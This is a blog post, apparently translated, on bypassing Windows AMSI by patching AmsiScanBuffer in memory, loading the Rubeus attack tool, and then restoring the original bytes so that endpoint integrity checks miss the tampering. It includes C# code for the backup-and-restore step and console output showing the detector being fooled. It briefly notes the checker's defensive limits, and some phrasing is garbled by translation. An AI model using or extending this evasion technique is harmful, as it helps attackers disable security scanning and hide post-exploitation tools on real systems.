Bypass memory integrity check

Posted by roscor on Thu, 30 Dec 2021 19:15:22 +0100

This process involves:

  1. Find the location of the AmsiScanBuffer in memory.
  2. Change memory permissions to RWX.
  3. Copy patched bytes.
  4. Restore the memory area back to RX.

After this happens, the process seems no different to the casual observer. Since we only changed about 6 of the possible hundreds of thousands of bytes in the address space, how likely is it to be seen?

Defensive products that perform user state DLL injection (such as EDR) can perform integrity checks on sensitive parts of module code. Therefore, if something has changed and is not captured at that time (possibly by using syscalls), it can be detected afterwards (assuming that the process still exists) and then alerted.

This depends in part on the relevance of aggressive tools. For example, Beacon of Cobalt Strike uses fork and run mode for many of its post ex commands. It will generate a temporary process, inject post ex functionality into it, get the results through a named pipe, and then terminate the process. If the post ex function performs operations such as patching the AmsiScanBuffer, it may not exist long enough to really worry about integrity checking. Other tools such as Covenant's Grunt perform all operations inside it - so these modifications to its memory will continue as long as the implant is alive.

Consider the following:

static void Main(string[] args)
{
    var amsi = new AmsiBypass();

    // Bypass AMSI
    amsi.Execute();

    // Load Rubeus
    var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
    var asm = Assembly.Load(rubeus);

    asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });
}

Bypassing allows us to load Rubeus and execute any method we want. Everything is fine.

However, if we check the integrity of AmsiScanBuffer during this process, we can infer that it has indeed been tampered with.

PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22664
========================
 AmsiScanBuffer Checker
========================

Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000

AmsiScanBuffer tamper detected!

Conceptually, its operation is very simple:

  1. Load amsi.com from disk dll.
  2. Find the AmsiScanBuffer and read the first 10 bytes.
  3. Find the AmsiScanBuffer in the target process and read the first 10 bytes.
  4. Compare two byte arrays.

If the array does not match, the function has changed in the memory of the process (or in an unlikely file).

From a defensive point of view, this method has some obvious disadvantages - we only check AmsiScanBuffer without checking other exported functions; And only the first 10 bytes of the function. However, in my experience, most people only copy / paste what they find on the Internet *Cough* So this is a good simple fruit.

If we want to improve the bypass, we can copy the original AmsiScanBuffer bytes and recover them after we execute the malicious content we want.

This may look like this:

public void Execute()
{
    // Load amsi.dll and get location of AmsiScanBuffer
    var lib = LoadLibrary("amsi.dll");
    _asbLocation = GetProcAddress(lib, "AmsiScanBuffer");

    var patch = GetPatch;

    // Take a backup of AmsiScanBuffer bytes
    _backup = new byte[patch.Length];
    Marshal.Copy(_asbLocation, _backup, 0, patch.Length);

    // Set region to RWX
    // Copy patch
    // Restore region to RX
}

Then implement a recovery method to copy back the original bytes:

public void Restore()
{
    // Set region to RWX
    _ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, 0x40, out uint oldProtect);

    // Copy bytes back
    Marshal.Copy(_backup, 0, _asbLocation, _backup.Length);

    // Restore region to RX
    _ = VirtualProtect(_asbLocation, (UIntPtr)_backup.Length, oldProtect, out uint _);
}

Then in our malicious application:

static void Main(string[] args)
{
    var amsi = new AmsiBypass();

    // Bypass AMSI
    amsi.Execute();

    // Load Rubeus
    var rubeus = File.ReadAllBytes(@"C:\Tools\Rubeus\Rubeus\bin\Debug\Rubeus.exe");
    var asm = Assembly.Load(rubeus);

    asm.EntryPoint?.Invoke(null, new object[]{ Array.Empty<string>() });

    // Restore AMSI
    amsi.Restore();
}
PS C:\Users\Daniel\source\repos\IntegrityDemo\MonitorApp> dotnet run 22516
========================
 AmsiScanBuffer Checker
========================

Target Process: MaliciousApp
AmsiScanBuffer: 0x7FFE26AA0000

AmsiScanBuffer is fine  ¯\_(ツ)_/¯

Rubeus still performed as expected, but no tampering was found when running a "check" on the process. This integrity checking method may only be effective if it happens to run within a narrow time range between performing bypass and recovering bytes.